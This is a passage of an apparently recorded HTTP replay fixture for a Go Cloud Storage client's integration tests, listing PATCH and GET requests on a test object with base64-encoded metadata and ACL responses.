I6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDSmJtaHVqeC9lRUNFQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvc29tZS1vYmovMTU1NjgzNTkzNzEzNzQzMC9wcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmovYWNsL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJvYmplY3QiOiJzb21lLW9iaiIsImdlbmVyYXRpb24iOiIxNTU2ODM1OTM3MTM3NDMwIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3VzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwicm9sZSI6Ik9XTkVSIiwiZW1haWwiOiJhbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsImV0YWciOiJDSmJtaHVqeC9lRUNFQUk9In1dLCJvd25lciI6eyJlbnRpdHkiOiJ1c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIn0sImNyYzMyYyI6Ik01ZUcvQT09IiwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBST0iLCJldmVudEJhc2VkSG9sZCI6dHJ1ZX0=" - } - }, - { - "ID": "e3a625bb7418cea9", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "82" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJjb250ZW50VHlwZSI6ImZvbyJ9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:38 GMT" - ], - "Etag": [ - "CJbmhujx/eECEAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoVf0XeyD5sC9KvHEILX2e7x7VyJ9d9xoyrP3NqGFlsMgvK3zgeOEOXDvSpftUSy4opndA74-LNRkmAi8Q_6wc91iC8OWV7X3VR8kENWwclNK30V_U" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMyIsImNvbnRlbnRUeXBlIjoiZm9vIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM3LjEzN1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozOC40MjBaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MzcuMTM3WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJkTHJkb1ZnanhsQUFHTmFZWDFCbWJ3PT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTM3MTM3NDMwJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0pibWh1angvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0pibWh1angvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBTT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiTTVlRy9BPT0iLCJldGFnIjoiQ0pibWh1angvZUVDRUFNPSIsImV2ZW50QmFzZWRIb2xkIjp0cnVlfQ==" - } - }, - { - "ID": "2290ac6bb34b705b", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3193" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:38 GMT" - ], - "Etag": [ - "CJbmhujx/eECEAM=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoKagfJuJDLVLgIcrGtlV_UXlXLSqfEFj2-knllMBWWLktTv22ZfKoeSo8lY6gSfE1LKlvn87WiyJv75QWpcWdXzvablAMBOAZ_XMe-1D8dKZ5ipHs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsIm1ldGFnZW5lcmF0aW9uIjoiMyIsImNvbnRlbnRUeXBlIjoiZm9vIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM3LjEzN1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozOC40MjBaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MzcuMTM3WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJkTHJkb1ZnanhsQUFHTmFZWDFCbWJ3PT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTM3MTM3NDMwJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0pibWh1angvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6ImVkaXRvcnMifSwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBTT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwL3Byb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgvby9zb21lLW9iai9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LXZpZXdlcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6IlJFQURFUiIsInByb2plY3RUZWFtIjp7InByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJ0ZWFtIjoidmlld2VycyJ9LCJldGFnIjoiQ0pibWh1angvZUVDRUFNPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvdXNlci1hbm90aGVyLXRoaW5nQGRla2xlcmstc2FuZGJveC5pYW0uZ3NlcnZpY2VhY2NvdW50LmNvbSIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC91c2VyLWFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20iLCJyb2xlIjoiT1dORVIiLCJlbWFpbCI6ImFub3RoZXItdGhpbmdAZGVrbGVyay1zYW5kYm94LmlhbS5nc2VydmljZWFjY291bnQuY29tIiwiZXRhZyI6IkNKYm1odWp4L2VFQ0VBTT0ifV0sIm93bmVyIjp7ImVudGl0eSI6InVzZXItYW5vdGhlci10aGluZ0BkZWtsZXJrLXNhbmRib3guaWFtLmdzZXJ2aWNlYWNjb3VudC5jb20ifSwiY3JjMzJjIjoiTTVlRy9BPT0iLCJldGFnIjoiQ0pibWh1angvZUVDRUFNPSIsImV2ZW50QmFzZWRIb2xkIjp0cnVlfQ==" - } - }, - { - "ID": "572d50dc9b5ce8a4", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0008/o/some-obj?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "85" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJldmVudEJhc2VkSG9sZCI6ZmFsc2V9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "3194" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:39 GMT" - ], - "Etag": [ - "CJbmhujx/eECEAQ=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrWVb2L8OGfosYWTjk_F-zmyNwltYI93f2tqyP4EkOx7hIRpsSG2iGDFXB7SP7DKn-teczhb9tiBKRM7rYG5vcJ5jVinideFoX44khld5BhtRaQsUc" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9zb21lLW9iai8xNTU2ODM1OTM3MTM3NDMwIiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmoiLCJuYW1lIjoic29tZS1vYmoiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDgiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsIm1ldGFnZW5lcmF0aW9uIjoiNCIsImNvbnRlbnRUeXBlIjoiZm9vIiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjM3LjEzN1oiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozOC45MTlaIiwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJ0aW1lU3RvcmFnZUNsYXNzVXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MzcuMTM3WiIsInNpemUiOiIxNiIsIm1kNUhhc2giOiJkTHJkb1ZnanhsQUFHTmFZWDFCbWJ3PT0iLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmo/Z2VuZXJhdGlvbj0xNTU2ODM1OTM3MTM3NDMwJmFsdD1tZWRpYSIsImFjbCI6W3sia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L28vc29tZS1vYmovYWNsL3Byb2plY3Qtb3duZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOCIsIm9iamVjdCI6InNvbWUtb2JqIiwiZ2VuZXJhdGlvbiI6IjE1NTY4MzU5MzcxMzc0MzAiLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0pibWh1angvZUVDRUFRPSJ9LHsia2luZCI6InN0b3JhZ2Ujb2JqZWN0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4L3NvbWUtb2JqLzE1NTY4MzU5MzcxMzc0MzAvcHJvamVjdC1lZGl0b3JzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwOC9vL3NvbWUtb2JqL2FjbC9wcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0IiwiYnVja2V0IjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA4Iiwib2JqZWN0Ijoic29tZS1vYmoiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkzNzEzNzQzMCIsImVudGl0eSI6InByb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN